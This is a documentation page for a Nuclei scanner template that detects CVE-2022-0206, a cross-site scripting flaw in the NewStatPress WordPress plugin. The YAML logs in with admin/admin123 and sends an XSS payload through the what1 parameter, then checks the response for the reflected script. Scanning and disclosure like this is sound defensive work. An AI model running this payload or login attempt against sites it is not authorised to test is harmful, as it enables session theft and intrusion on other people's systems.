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WordPress NewStatPress <1.3.6 - Cross-Site Scripting

ID: CVE-2022-0206

Severity: medium

Author: r3Y3r53

Tags: cve,cve2022,xss,wp,authenticated,wordpress,wp-plugin,newstatpress,wpscan,newstatpress_project

Description

Section titled “Description”

WordPress NewStatPress plugin before 1.3.6 is susceptible to cross-site scripting. The plugin does not properly escape the whatX parameters before outputting them back in attributes. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

YAML Source

Section titled “YAML Source”
id: CVE-2022-0206


info:
  name: WordPress NewStatPress <1.3.6 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    WordPress NewStatPress plugin before 1.3.6 is susceptible to cross-site scripting. The plugin does not properly escape the whatX parameters before outputting them back in attributes. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.
  remediation: Fixed in version 1.3.6.
  reference:
    - https://wpscan.com/vulnerability/ce12437a-d440-4c4a-9247-95a8f39d00b9
    - https://wordpress.org/plugins/newstatpress
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0206
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-0206
    cwe-id: CWE-79
    epss-score: 0.00106
    epss-percentile: 0.43227
    cpe: cpe:2.3:a:newstatpress_project:newstatpress:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: newstatpress_project
    product: newstatpress
    framework: wordpress
  tags: cve,cve2022,xss,wp,authenticated,wordpress,wp-plugin,newstatpress,wpscan,newstatpress_project


http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        log=admin&pwd=admin123&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=nsp_search&what1=%27+style%3Danimation-name%3Arotation+onanimationstart%3Dalert%28document.domain%29+x HTTP/1.1
        Host: {{Hostname}}


    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(header_2, "text/html")'
          - 'contains(body_2, "onanimationstart=alert(document.domain)")'
          - 'contains(body_2, "newstatpress_page")'
        condition: and
# digest: 4b0a00483046022100e15b4d5278766d2e0221e4c79d4130d5dda759b90dc0ec4e3b56cc109ed6f971022100cf4416047a627f4735d358b5df18fbe2ff05a71b22891c5a9d45138d5181f666:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-0206.yaml"

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